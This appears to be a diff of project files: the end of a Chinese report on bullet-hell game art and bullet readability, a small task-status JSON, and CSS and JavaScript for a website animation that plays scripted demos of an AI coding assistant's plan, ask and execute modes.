7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。
|
||||||
|
8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。
|
||||||
|
9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一"视觉 > 判定"原则。
|
||||||
|
10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。
|
||||||
|
11. **尾迹只给"需要读懂速度/轨迹"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。
|
||||||
|
|
||||||
|
### C. 屏幕可读性指标
|
||||||
|
12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。
|
||||||
|
13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。
|
||||||
|
14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 参考资料
|
||||||
|
|
||||||
|
以下为本报告主要信息来源(按主题归类):
|
||||||
|
|
||||||
|
1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)
|
||||||
|
2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)
|
||||||
|
3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页
|
||||||
|
4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)
|
||||||
|
5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式
|
||||||
|
6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则
|
||||||
|
7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级
|
||||||
|
8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹
|
||||||
|
9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系
|
||||||
|
10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*
|
||||||
@ -0,0 +1 @@
|
|||||||
|
{"success": true, "data": [{"task_id": "sub_1_1787459389_fd8265", "status": "completed", "summary": "调研经典弹幕射击游戏武器系统", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459389.187}, {"task_id": "sub_2_1787459391_a9b055", "status": "completed", "summary": "调研弹幕射击游戏敌方弹幕模式", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459391.087}, {"task_id": "sub_3_1787459393_3da5a5", "status": "completed", "summary": "调研像素风格弹幕游戏美术设计", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459393.087}]}
|
||||||
36
website-design/exp/site-assets/anim-demo.css
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
/* 运行模式动画 —— 无边框无底色,直接融在星空背景上 */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg-0: #0c1120;
|
||||||
|
--bg-1: #111830;
|
||||||
|
--text-1: #eef1f8;
|
||||||
|
--text-2: #a7b0c4;
|
||||||
|
--text-3: #6b7488;
|
||||||
|
--line: rgba(168, 180, 210, 0.14);
|
||||||
|
--accent: #a9c2f0;
|
||||||
|
--accent-strong: #c1d4f6;
|
||||||
|
--ok: #7ba889;
|
||||||
|
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||||
|
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||||
|
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||||
|
|
||||||
|
.hint { font-size: 13px; color: var(--text-3); }
|
||||||
|
|
||||||
|
|
||||||
|
/* demo 页动画宿主尺寸 */
|
||||||
|
.anim-host { width: 460px; height: 388px; }
|
||||||
321
website-design/exp/site-assets/anim-modes.js
Normal file
@ -0,0 +1,321 @@
|
|||||||
|
/* 运行模式动画 —— 可复用模块(主页 feature 行 / anim-demo 页共用)
|
||||||
|
* AnimModes.init(container):在容器内建 DOM(模式 tab + 消息区 + 输入栏 + 假鼠标),
|
||||||
|
* 点击 tab 切换并从头播放,再次点击重播。
|
||||||
|
*/
|
||||||
|
window.AnimModes = (function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
function init(container) {
|
||||||
|
container.innerHTML =
|
||||||
|
'<div class="anim-window" id="animWindow">' +
|
||||||
|
'<div class="anim-topbar">' +
|
||||||
|
'<button class="anim-mode-tab" data-mode="plan">计划</button>' +
|
||||||
|
'<button class="anim-mode-tab" data-mode="ask">询问</button>' +
|
||||||
|
'<button class="anim-mode-tab" data-mode="execute">执行</button>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="anim-chat"></div>' +
|
||||||
|
'<div class="anim-composer"><span class="anim-composer-text"></span><span class="anim-composer-caret"></span></div>' +
|
||||||
|
'<div class="anim-cursor" aria-hidden="true">' +
|
||||||
|
'<svg viewBox="0 0 24 24" width="18" height="18"><path d="M5 3 L19 12 L12.5 12.8 L15.5 20 L13 21 L10 13.5 L5 17 Z" fill="#ffffff" stroke="#1a1f2e" stroke-width="1.4" stroke-linejoin="round"/></svg>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>';
|
||||||
|
|
||||||
|
var chat = container.querySelector('.anim-chat');
|
||||||
|
var composer = container.querySelector('.anim-composer');
|
||||||
|
var composerText = composer.querySelector('.anim-composer-text');
|
||||||
|
var cursor = container.querySelector('.anim-cursor');
|
||||||
|
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim-mode-tab'));
|
||||||
|
var animWindow = container.querySelector('.anim-window');
|
||||||
|
/* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */
|
||||||
|
var gen = 0;
|
||||||
|
|
||||||
|
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
|
||||||
|
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
|
||||||
|
function rafWait(ms) {
|
||||||
|
return new Promise(function (resolve) {
|
||||||
|
var acc = 0, last = performance.now();
|
||||||
|
function tick(now) {
|
||||||
|
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||||
|
last = now;
|
||||||
|
if (acc >= ms) { resolve(); return; }
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 可中断 sleep:醒来后发现已切换模式则抛错终止序列 */
|
||||||
|
async function step(ms, myGen) {
|
||||||
|
await rafWait(ms);
|
||||||
|
if (myGen !== gen) throw new Error('cancelled');
|
||||||
|
}
|
||||||
|
|
||||||
|
function el(tag, cls, text) {
|
||||||
|
var e = document.createElement(tag);
|
||||||
|
if (cls) e.className = cls;
|
||||||
|
if (text != null) e.textContent = text;
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 基础构件 ── */
|
||||||
|
|
||||||
|
/** 入场元素统一入口:挂载并平滑滚到底部(旧内容自然顶出) */
|
||||||
|
function push(node) {
|
||||||
|
chat.appendChild(node);
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' });
|
||||||
|
});
|
||||||
|
return node;
|
||||||
|
}
|
||||||
|
|
||||||
|
function addUserMsg(text) {
|
||||||
|
return push(el('div', 'msg-user anim-item', text));
|
||||||
|
}
|
||||||
|
|
||||||
|
function addThinkRow() {
|
||||||
|
var row = el('div', 'think-row anim-item');
|
||||||
|
var dots = el('span', 'think-dots');
|
||||||
|
dots.appendChild(el('i'));
|
||||||
|
dots.appendChild(el('i'));
|
||||||
|
dots.appendChild(el('i'));
|
||||||
|
row.appendChild(dots);
|
||||||
|
return push(row);
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeEl(e) {
|
||||||
|
if (e && e.parentNode) e.parentNode.removeChild(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 往目标元素里逐字打出(带光标),返回 Promise */
|
||||||
|
async function typeInto(span, text, myGen, cps) {
|
||||||
|
var caret = el('span', 'type-caret');
|
||||||
|
span.parentNode.insertBefore(caret, span.nextSibling);
|
||||||
|
for (var i = 0; i < text.length; i++) {
|
||||||
|
span.textContent += text[i];
|
||||||
|
chat.scrollTop = chat.scrollHeight; // 打字时保持底部可见
|
||||||
|
await step(cps || 34, myGen);
|
||||||
|
}
|
||||||
|
removeEl(caret);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** AI 裸文字消息:逐字流式 */
|
||||||
|
async function typeAiMsg(text, myGen) {
|
||||||
|
var b = el('div', 'msg-ai anim-item');
|
||||||
|
var span = el('span');
|
||||||
|
b.appendChild(span);
|
||||||
|
push(b);
|
||||||
|
await typeInto(span, text, myGen, 34);
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 工具摘要行:状态图标 + intent + 关键参数(不显示工具名) */
|
||||||
|
async function addToolLine(intent, param, runMs, myGen) {
|
||||||
|
var b = el('div', 'tool-line is-running anim-item');
|
||||||
|
b.appendChild(el('span', 'tool-status'));
|
||||||
|
b.appendChild(el('span', 'tool-intent', intent));
|
||||||
|
if (param) b.appendChild(el('span', 'tool-param', param));
|
||||||
|
push(b);
|
||||||
|
await step(runMs, myGen);
|
||||||
|
b.classList.remove('is-running');
|
||||||
|
b.classList.add('is-done');
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 假鼠标:出现 → 移到目标中心 → 点击 → 消失 ── */
|
||||||
|
|
||||||
|
function cursorMoveTo(x, y, immediate) {
|
||||||
|
if (immediate) cursor.style.transition = 'none';
|
||||||
|
cursor.style.transform = 'translate(' + x + 'px,' + y + 'px)';
|
||||||
|
if (immediate) {
|
||||||
|
cursor.getBoundingClientRect(); // 强制 reflow,恢复过渡
|
||||||
|
cursor.style.transition = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function cursorClick(targetEl, myGen) {
|
||||||
|
var win = animWindow;
|
||||||
|
var wr = win.getBoundingClientRect();
|
||||||
|
var tr = targetEl.getBoundingClientRect();
|
||||||
|
cursorMoveTo(wr.width - 60, wr.height - 40, true);
|
||||||
|
cursor.classList.add('is-visible');
|
||||||
|
await step(260, myGen);
|
||||||
|
cursorMoveTo(tr.left - wr.left + tr.width / 2 - 4, tr.top - wr.top + tr.height / 2 - 2, false);
|
||||||
|
await step(760, myGen);
|
||||||
|
cursor.classList.add('is-clicking');
|
||||||
|
targetEl.classList.add('is-pressed');
|
||||||
|
await step(140, myGen);
|
||||||
|
cursor.classList.remove('is-clicking');
|
||||||
|
targetEl.classList.remove('is-pressed');
|
||||||
|
await step(120, myGen);
|
||||||
|
cursor.classList.remove('is-visible');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 模式一:计划 ── */
|
||||||
|
|
||||||
|
async function playPlan(myGen) {
|
||||||
|
addUserMsg('帮我给这个项目加一个设置页面');
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
var think = addThinkRow();
|
||||||
|
await step(1300, myGen);
|
||||||
|
removeEl(think);
|
||||||
|
|
||||||
|
await addToolLine('规划设计页面', '.astrion/plan/settings-page.md', 900, myGen);
|
||||||
|
await step(350, myGen);
|
||||||
|
|
||||||
|
// 计划:标题与条目全部逐字流式
|
||||||
|
var body = el('div', 'plan-body anim-item');
|
||||||
|
push(body);
|
||||||
|
var title = el('div', 'plan-title');
|
||||||
|
var titleSpan = el('span');
|
||||||
|
title.appendChild(titleSpan);
|
||||||
|
body.appendChild(title);
|
||||||
|
await typeInto(titleSpan, '设置页面开发计划', myGen, 55);
|
||||||
|
|
||||||
|
var items = ['梳理现有个性化设置字段与保存接口', '编写页面布局与表单组件', '接入保存并构建验证'];
|
||||||
|
for (var i = 0; i < items.length; i++) {
|
||||||
|
var row = el('div', 'plan-item');
|
||||||
|
row.appendChild(el('b', null, (i + 1) + '.'));
|
||||||
|
var itemSpan = el('span');
|
||||||
|
row.appendChild(itemSpan);
|
||||||
|
body.appendChild(row);
|
||||||
|
await typeInto(itemSpan, items[i], myGen, 26);
|
||||||
|
await step(120, myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
var actions = el('div', 'plan-actions anim-item');
|
||||||
|
var approve = el('button', 'plan-btn is-primary', '批准计划');
|
||||||
|
actions.appendChild(approve);
|
||||||
|
body.appendChild(actions);
|
||||||
|
chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' });
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
// 鼠标点击批准
|
||||||
|
await cursorClick(approve, myGen);
|
||||||
|
approve.textContent = '已批准 ✓';
|
||||||
|
approve.classList.remove('is-primary');
|
||||||
|
approve.classList.add('is-approved');
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
// 按钮淡出收起,释放垂直空间
|
||||||
|
actions.classList.add('is-gone');
|
||||||
|
await step(380, myGen);
|
||||||
|
removeEl(actions);
|
||||||
|
|
||||||
|
// 批准后开始实施
|
||||||
|
await typeAiMsg('好的,开始实施。', myGen);
|
||||||
|
await step(250, myGen);
|
||||||
|
await addToolLine('编写设置页面组件', 'SettingsPanel.tsx', 1000, myGen);
|
||||||
|
await step(280, myGen);
|
||||||
|
await addToolLine('构建验证', 'npm run build', 1000, myGen);
|
||||||
|
await step(320, myGen);
|
||||||
|
await typeAiMsg('设置页面已完成,构建通过。', myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 模式二:询问 ── */
|
||||||
|
|
||||||
|
async function playAsk(myGen) {
|
||||||
|
addUserMsg('帮我优化一下这个页面的性能');
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
var think = addThinkRow();
|
||||||
|
await step(1100, myGen);
|
||||||
|
removeEl(think);
|
||||||
|
|
||||||
|
await typeAiMsg('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', myGen);
|
||||||
|
await step(500, myGen);
|
||||||
|
|
||||||
|
// 输入栏出现,用户逐字输入回答
|
||||||
|
composerText.textContent = '';
|
||||||
|
composer.classList.add('is-visible');
|
||||||
|
await step(450, myGen);
|
||||||
|
var reply = '主要是首次加载慢';
|
||||||
|
for (var i = 0; i < reply.length; i++) {
|
||||||
|
composerText.textContent += reply[i];
|
||||||
|
await step(70, myGen);
|
||||||
|
}
|
||||||
|
await step(600, myGen);
|
||||||
|
|
||||||
|
// 发送:输入栏淡出,内容变成右侧用户气泡
|
||||||
|
composer.classList.add('is-sent');
|
||||||
|
await step(240, myGen);
|
||||||
|
composer.classList.remove('is-visible', 'is-sent');
|
||||||
|
composerText.textContent = '';
|
||||||
|
addUserMsg(reply);
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
// 模型开始调查
|
||||||
|
var think2 = addThinkRow();
|
||||||
|
await step(1000, myGen);
|
||||||
|
removeEl(think2);
|
||||||
|
|
||||||
|
await typeAiMsg('好的,我来调查一下。', myGen);
|
||||||
|
await step(250, myGen);
|
||||||
|
await addToolLine('分析构建产物体积', 'npm run build', 1200, myGen);
|
||||||
|
await step(300, myGen);
|
||||||
|
await typeAiMsg('找到了:图表库被全量引入,首屏多出 2.1MB。', myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 模式三:执行 ── */
|
||||||
|
|
||||||
|
async function playExecute(myGen) {
|
||||||
|
addUserMsg('把页面上的按钮都改成蓝色');
|
||||||
|
await step(700, myGen);
|
||||||
|
|
||||||
|
var think = addThinkRow();
|
||||||
|
await step(900, myGen);
|
||||||
|
removeEl(think);
|
||||||
|
|
||||||
|
await typeAiMsg('好的,我来改。', myGen);
|
||||||
|
await step(250, myGen);
|
||||||
|
|
||||||
|
await addToolLine('修改按钮颜色', 'css/style.css', 1000, myGen);
|
||||||
|
await step(300, myGen);
|
||||||
|
await addToolLine('构建验证', 'npm run build', 1100, myGen);
|
||||||
|
await step(350, myGen);
|
||||||
|
|
||||||
|
await typeAiMsg('已完成,所有按钮已切换为蓝色。', myGen);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 调度 ── */
|
||||||
|
|
||||||
|
var PLAYERS = { plan: playPlan, ask: playAsk, execute: playExecute };
|
||||||
|
|
||||||
|
function setActiveTab(mode) {
|
||||||
|
tabs.forEach(function (t) {
|
||||||
|
t.classList.toggle('is-active', t.dataset.mode === mode);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function play(mode) {
|
||||||
|
gen += 1;
|
||||||
|
var myGen = gen;
|
||||||
|
chat.innerHTML = '';
|
||||||
|
chat.scrollTop = 0;
|
||||||
|
composerText.textContent = '';
|
||||||
|
composer.classList.remove('is-visible', 'is-sent');
|
||||||
|
cursor.classList.remove('is-visible', 'is-clicking');
|
||||||
|
setActiveTab(mode);
|
||||||
|
PLAYERS[mode](myGen).catch(function (e) {
|
||||||
|
if (e && e.message !== 'cancelled') throw e;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
tabs.forEach(function (t) {
|
||||||
|
t.addEventListener('click', function () { play(t.dataset.mode); });
|
||||||
|
});
|
||||||
|
|
||||||
|
// 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
|
||||||
|
var started = false;
|
||||||
|
var io = new IntersectionObserver(function (entries) {
|
||||||
|
if (!started && entries[0].isIntersecting) {
|
||||||
|
started = true;
|
||||||
|
io.disconnect();
|
||||||
|
play('plan');
|
||||||
|
}
|
||||||
|
}, { threshold: 0.3 });
|
||||||
|
io.observe(container);
|
||||||
|
}
|
||||||
|
|
||||||
|
return { init: init };
|
||||||
|
})();
|
||||||
301
website-design/exp/site-assets/anim-records.css
Normal file
@ -0,0 +1,301 @@
|
|||||||
|
/* 修改记录动画 —— 模块样式(主页 feature 行 / anim3-demo 页共用)
|
||||||
|
无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供;
|
||||||
|
动画私有的三个色定义在 .anim3-window 作用域。 */
|
||||||
|
|
||||||
|
.anim3-window {
|
||||||
|
--danger: #d47b6b; /* diff 删除行红,仅本动画作用域 */
|
||||||
|
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
|
||||||
|
--file-paper: var(--bg-panel);
|
||||||
|
--file-line: rgba(238, 240, 246, 0.35);
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */
|
||||||
|
.anim3-stage {
|
||||||
|
position: absolute;
|
||||||
|
left: 50%;
|
||||||
|
top: 50%;
|
||||||
|
width: 540px;
|
||||||
|
height: 380px;
|
||||||
|
overflow: hidden;
|
||||||
|
cursor: pointer;
|
||||||
|
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
|
||||||
|
-webkit-user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 智能体(右上) ───────── */
|
||||||
|
|
||||||
|
/* 尺寸与 04 版本控制的智能体一致(70×70) */
|
||||||
|
.writer {
|
||||||
|
position: absolute;
|
||||||
|
right: 58px;
|
||||||
|
top: 26px;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
}
|
||||||
|
.writer-avatar {
|
||||||
|
display: block;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||||
|
|
||||||
|
/* ───────── 笔(双层结构) ─────────
|
||||||
|
外层 pen-pos:JS 逐帧/过渡定位,使笔尖精确落在文字进度点上;
|
||||||
|
内层 svg:以笔尖为圆心旋转摇摆(transform-origin 在笔尖),
|
||||||
|
既有晃动,笔尖又不会脱离位置。 */
|
||||||
|
|
||||||
|
.pen-pos {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
z-index: 40; /* 最高层:高于 3D 纸、盒子(30)与堆叠纸(21~23),笔不能被挡 */
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
color: var(--accent);
|
||||||
|
will-change: transform;
|
||||||
|
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
|
||||||
|
}
|
||||||
|
.pen-pos.is-live {
|
||||||
|
transition: none; /* 写字逐帧驱动时关闭过渡 */
|
||||||
|
}
|
||||||
|
.writer-pen {
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
/* origin = 笔尖视觉触点(SVG (2.65,21.02) → 40px 盒内 (4.4,35.0)),与 nibRef 同点:
|
||||||
|
摇摆时笔尖钉住不动,只有笔身晃 */
|
||||||
|
transform-origin: 11% 87.6%;
|
||||||
|
}
|
||||||
|
.writer-pen.is-writing {
|
||||||
|
animation: pen-write 0.42s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
/* 擦除:origin 切到笔尾橡皮触点(SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
|
||||||
|
.writer-pen.is-erasing {
|
||||||
|
transform-origin: 80% 20%;
|
||||||
|
}
|
||||||
|
@keyframes pen-write {
|
||||||
|
0%, 100% { transform: rotate(-5deg); }
|
||||||
|
50% { transform: rotate(6deg); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 3D 倾斜的纸 ───────── */
|
||||||
|
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
|
||||||
|
|
||||||
|
.paper3d {
|
||||||
|
position: absolute;
|
||||||
|
left: 280px;
|
||||||
|
top: 130px;
|
||||||
|
width: 192px;
|
||||||
|
height: 122px;
|
||||||
|
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
|
||||||
|
transform-style: preserve-3d;
|
||||||
|
}
|
||||||
|
|
||||||
|
.paper-sheet {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 18px 16px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transition;opacity 过渡供轮间换内容淡出) */
|
||||||
|
.pline {
|
||||||
|
position: relative;
|
||||||
|
height: 4px;
|
||||||
|
border-radius: 2px;
|
||||||
|
background: var(--text-3);
|
||||||
|
opacity: 0.75;
|
||||||
|
transition: opacity 0.28s ease;
|
||||||
|
}
|
||||||
|
.paper3d.is-refilling .pline { opacity: 0; }
|
||||||
|
/* 线右端锚点:0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
|
||||||
|
.pline-end {
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 50%;
|
||||||
|
width: 0;
|
||||||
|
height: 0;
|
||||||
|
margin-top: -0px; /* 点本身无尺寸,top:50% 即线厚中心 */
|
||||||
|
}
|
||||||
|
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
|
||||||
|
|
||||||
|
/* ───────── diff 区 ───────── */
|
||||||
|
|
||||||
|
.diff-view {
|
||||||
|
position: absolute;
|
||||||
|
left: 134px; /* 盒子水平中线(86+48),diff 中心对齐盒子中线 */
|
||||||
|
transform: translateX(-50%);
|
||||||
|
top: 0;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12.5px;
|
||||||
|
line-height: 1.5;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 3px;
|
||||||
|
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
|
||||||
|
border-radius: 6px;
|
||||||
|
transition: background 0.25s ease;
|
||||||
|
}
|
||||||
|
/* genie 前:四行 diff 合为一张纸的底板(不加 outline:shorthand 不可过渡,会闪白框) */
|
||||||
|
.diff-view.is-sheet {
|
||||||
|
background: rgba(24, 30, 52, 0.92);
|
||||||
|
}
|
||||||
|
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
|
||||||
|
.diff-view.no-fade { transition: none; }
|
||||||
|
.diff-view.no-fade .dline::before { transition: none; }
|
||||||
|
.diff-view.no-fade .dsign { transition: none; }
|
||||||
|
|
||||||
|
/* ───────── 收盒文件卡片(单元素裁切式 genie) ─────────
|
||||||
|
卡片全程同一个 DOM 元素:clip-path 多边形裁切(不压缩内容),
|
||||||
|
body 每帧定位到轮廓包围盒,文字矢量缩小——全程清晰无损 */
|
||||||
|
.file-flight {
|
||||||
|
position: absolute;
|
||||||
|
pointer-events: none;
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.73s ease, transform 0.22s ease;
|
||||||
|
/* SVG 视口默认 hidden 会把描边外半侧(0.5px)裁掉——visible 让边缘描边完整 */
|
||||||
|
overflow: visible;
|
||||||
|
/* origin 必须在基础规则上恒定(绕底部翘起,底边不露盒口)。
|
||||||
|
若只写在 is-hover 里,移出时 origin 瞬间跳回默认中心点,视觉上就是瞬间弹回 */
|
||||||
|
transform-origin: 50% 100%;
|
||||||
|
}
|
||||||
|
.file-flight.is-on { opacity: 1; }
|
||||||
|
/* 三轮收盒后可交互:hover 微抬+向右倾(选中感) */
|
||||||
|
.file-flight.is-hover {
|
||||||
|
transform: translate(2px, -2px) rotate(2.5deg);
|
||||||
|
}
|
||||||
|
/* 倒出查看时封面文字淡出(diff 层接管内容) */
|
||||||
|
.file-cover-name, .file-cover-stat { transition: opacity 0.3s ease; }
|
||||||
|
.file-flight.is-bare .file-cover-name,
|
||||||
|
.file-flight.is-bare .file-cover-stat { opacity: 0; }
|
||||||
|
/* SVG 卡片:path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓(S 曲线斜边也有描边) */
|
||||||
|
.file-flight-shape {
|
||||||
|
fill: var(--file-paper);
|
||||||
|
stroke: var(--file-line);
|
||||||
|
stroke-width: 1;
|
||||||
|
}
|
||||||
|
.file-cover-name {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 15px;
|
||||||
|
letter-spacing: 0.02em;
|
||||||
|
fill: var(--text-3); /* 和纸上线条同色 */
|
||||||
|
}
|
||||||
|
.file-cover-stat {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 11px;
|
||||||
|
}
|
||||||
|
.file-cover-stat .add { fill: var(--ok); }
|
||||||
|
.file-cover-stat .del { fill: var(--danger); }
|
||||||
|
|
||||||
|
/* 卡片热区:三层卡只露出顶边一截,热区从顶边向下延伸到盒口前缘(JS 定高);
|
||||||
|
重叠区归层级更高(更靠前)的卡 */
|
||||||
|
.card-hotspot {
|
||||||
|
position: absolute;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 倒出查看的 diff 层:位置同 diff-view(卡片倒出落点),四行逐行淡入;点击收回 */
|
||||||
|
.replay-diff {
|
||||||
|
position: absolute;
|
||||||
|
left: 134px;
|
||||||
|
transform: translateX(-50%);
|
||||||
|
top: 0;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12.5px;
|
||||||
|
line-height: 1.5;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 3px;
|
||||||
|
z-index: 26; /* 高于盒内堆叠卡(21~23);与盒前壁(30)不重叠(位于 diff 区) */
|
||||||
|
opacity: 0;
|
||||||
|
transition: opacity 0.3s ease;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
.replay-diff.is-on { opacity: 1; }
|
||||||
|
.replay-diff .dline {
|
||||||
|
